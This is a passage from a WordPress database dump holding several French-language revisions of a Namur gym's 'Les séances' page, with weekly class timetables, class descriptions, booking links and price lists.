#fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;Cardio&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcore\&quot;&gt;Core&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Squash&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tforce\&quot;&gt;Force&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;TRX/Cardio&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Bootcamp&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Foot&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #9FEDAC;\&quot;&gt;Circuit Training&lt;/span&gt; : Entraînement sur un circuit ultra complet, fun et adapté à votre niveau. Ce circuit utilise tous les outils.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #9FC6ED;\&quot;&gt;Cardio&lt;/span&gt; : Entraînement développant votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et pour perdre du poids (en complément avec un programme alimentaire) !\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #EDE99F;\&quot;&gt;TRX&lt;/span&gt; : Entraînement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l’intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #ED9FEA;\&quot;&gt;Psychomotricité&lt;/span&gt; : Séance réservée aux enfants de 3 à 6 ans.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #ED9FA2;\&quot;&gt;Force&lt;/span&gt; : Entraînement basé sur le travail de la force pure avec ou sans prise de masse (Kettlebel, barre, haltère,…)&lt;b&gt; &lt;/b&gt;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #A2A186;\&quot;&gt;Core&lt;/span&gt; : Entraînement basé sur le travail du centre du corps (« core »). Nous enchaînerons les exercices sur les muscles abdominaux, dorsaux, fessiers,…\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #EDE99F;\&quot;&gt;TRX/Cardio&lt;/span&gt; : Entraînement croisé entre le TRX et le cardio. Vous travaillerez ici votre endurance et votre renforcement musculaire global.\r\n\r\n&amp;nbsp;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Réservation des séances :&lt;/h2&gt;\r\nRéserver vos séances de Small Group Training en ligne : &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot; target=\&quot;_blank\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Séance Booster&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;20.00€ (Sur rendez-vous)\r\n30 min : 10 min de bilan + 20 min de découverte avec un coach en personal training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Personal Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;60 min : 60.00€&lt;br&gt;30 min : 35.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2014-08-31 08:41:03', '2014-08-31 08:41:03', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0),
(454, 1, '2014-08-31 08:36:41', '2014-08-31 08:36:41', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Small Group Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 pers.). Nous vous proposons 7 types de séances décrites ci-dessous.\r\nPour suivre les cours de Small Group Training, vous devez d\'abord vous inscrire à une &lt;a title=\&quot;Séance booster\&quot; href=\&quot;http://www.crosstrainingcenter.be/266-2/\&quot;&gt;séance Booster&lt;/a&gt;. Cette séance, sur rendez-vous individuel, avec un coach durera 30 minutes. Durant cette séance, un bilan sera réalisé ainsi qu\'une découverte de l\'ensemble des outils du Cross Training Center.\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Heure&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;15h30&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tpsychomot\&quot;&gt;Psychomotricité&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;16h30&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Squash&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;Cardio&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcore\&quot;&gt;Core&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Squash&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tforce\&quot;&gt;Force&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;TRX/Cardio&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Bootcamp&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Foot&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #9FEDAC;\&quot;&gt;Circuit Training&lt;/span&gt; : Entraînement sur un circuit ultra complet, fun et adapté à votre niveau. Ce circuit utilise tous les outils.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #9FC6ED;\&quot;&gt;Cardio&lt;/span&gt; : Entraînement développant votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et pour perdre du poids (en complément avec un programme alimentaire) !\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #EDE99F;\&quot;&gt;TRX&lt;/span&gt; : Entraînement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l’intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #ED9FEA;\&quot;&gt;Psychomotricité&lt;/span&gt; : Séance réservée aux enfants de 3 à 6 ans.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #ED9FA2;\&quot;&gt;Force&lt;/span&gt; : Entraînement basé sur le travail de la force pure avec ou sans prise de masse (Kettlebel, barre, haltère,…)&lt;b&gt; &lt;/b&gt;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #A2A186;\&quot;&gt;Core&lt;/span&gt; : Entraînement basé sur le travail du centre du corps (« core »). Nous enchaînerons les exercices sur les muscles abdominaux, dorsaux, fessiers,…\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #EDE99F;\&quot;&gt;TRX/Cardio&lt;/span&gt; : Entraînement croisé entre le TRX et le cardio. Vous travaillerez ici votre endurance et votre renforcement musculaire global.\r\n\r\n&amp;nbsp;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Réservation des séances :&lt;/h2&gt;\r\nRéserver vos séances de Team Training en ligne : &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot; target=\&quot;_blank\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2014-08-31 08:36:41', '2014-08-31 08:36:41', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0),
(492, 3, '2015-09-02 16:57:19', '2015-09-02 16:57:19', '&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/Capture-d’écran-2015-09-02-à-18.56.23.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-491\&quot; alt=\&quot;Capture d’écran 2015-09-02 à 18.56.23\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/Capture-d’écran-2015-09-02-à-18.56.23-300x211.png\&quot; width=\&quot;300\&quot; height=\&quot;211\&quot; /&gt;&lt;/a&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2015-09-02 16:57:19', '2015-09-02 16:57:19', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0),
(483, 1, '2015-04-21 09:55:06', '2015-04-21 09:55:06', '&lt;h1&gt;Small Group Training:&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 pers.). Nous vous proposons 7 types de séances décrites ci-dessous.\r\nPour suivre les cours de Small Group Training, vous devez d\'abord vous inscrire à une &lt;a title=\&quot;Séance booster\&quot; href=\&quot;http://www.crosstrainingcenter.be/266-2/\&quot;&gt;séance Booster&lt;/a&gt;. Cette séance, sur rendez-vous individuel, avec un coach durera 30 minutes. Durant cette séance, un bilan sera réalisé ainsi qu\'une découverte de l\'ensemble des outils du Cross Training Center.\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Heure&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;16h45&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot; valign=\&quot;center\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;&lt;center&gt;&lt;img class=\&quot;alignnone size-full wp-image-464\&quot; alt=\&quot;LesMills\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/LesMills1.png\&quot; width=\&quot;130\&quot; /&gt;&lt;/center&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcore\&quot;&gt;Core&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Squash&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tforce\&quot;&gt;Force&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;&lt;center&gt;&lt;img class=\&quot;alignnone size-full wp-image-464\&quot; alt=\&quot;LesMills\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/LesMills1.png\&quot; width=\&quot;130\&quot; /&gt;&lt;/center&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Foot&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;20h30&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;&lt;center&gt;&lt;img class=\&quot;alignnone size-full wp-image-464\&quot; alt=\&quot;LesMills\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/LesMills1.png\&quot; width=\&quot;130\&quot; /&gt;&lt;/center&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #9FEDAC;\&quot;&gt;Circuit Training&lt;/span&gt; : Entraînement sur un circuit ultra complet, fun et adapté à votre niveau. Ce circuit utilise tous les outils.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #EDE99F;\&quot;&gt;TRX&lt;/span&gt; : Entraînement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l’intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #ED9FA2;\&quot;&gt;Force&lt;/span&gt; : Entraînement basé sur le travail de la force pure avec ou sans prise de masse (Kettlebel, barre, haltère,…)&lt;b&gt; &lt;/b&gt;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #A2A186;\&quot;&gt;Core&lt;/span&gt; : Entraînement basé sur le travail du centre du corps (« core »). Nous enchaînerons les exercices sur les muscles abdominaux, dorsaux, fessiers,…\r\n\r\n&amp;nbsp;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Réservation des séances :&lt;/h2&gt;\r\nRéserver vos séances de Small Group Training en ligne : &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot; target=\&quot;_blank\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training:&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training:&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel:&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Séance Booster&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;20.00€ (Sur rendez-vous)\r\n30 min : 10 min de bilan + 20 min de découverte avec un coach en personal training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Personal Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;60 min : 60.00€\r\n30 min : 35.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Duo Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;60 min : 35.00€\r\n30 min : 20.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Small Group Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 10.00€\r\n1 carte de 10 séances : 90.00€ (valable 6 mois)\r\n1 carte de 20 séances : 150.00€ (valable 6 mois)\r\n1 carte de 50 séances : 300.00€ (valable 1 an)&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Préparation physique&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 40.00€\r\nSéance de 30 min orientée sur les spécificités du sport&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + coaching nutritionnel pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2015-04-21 09:55:06', '2015-04-21 09:55:06', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0),
(456, 1, '2014-08-31 08:43:46', '2014-08-31 08:43:46', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Small Group Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 pers.). Nous vous proposons 7 types de séances décrites 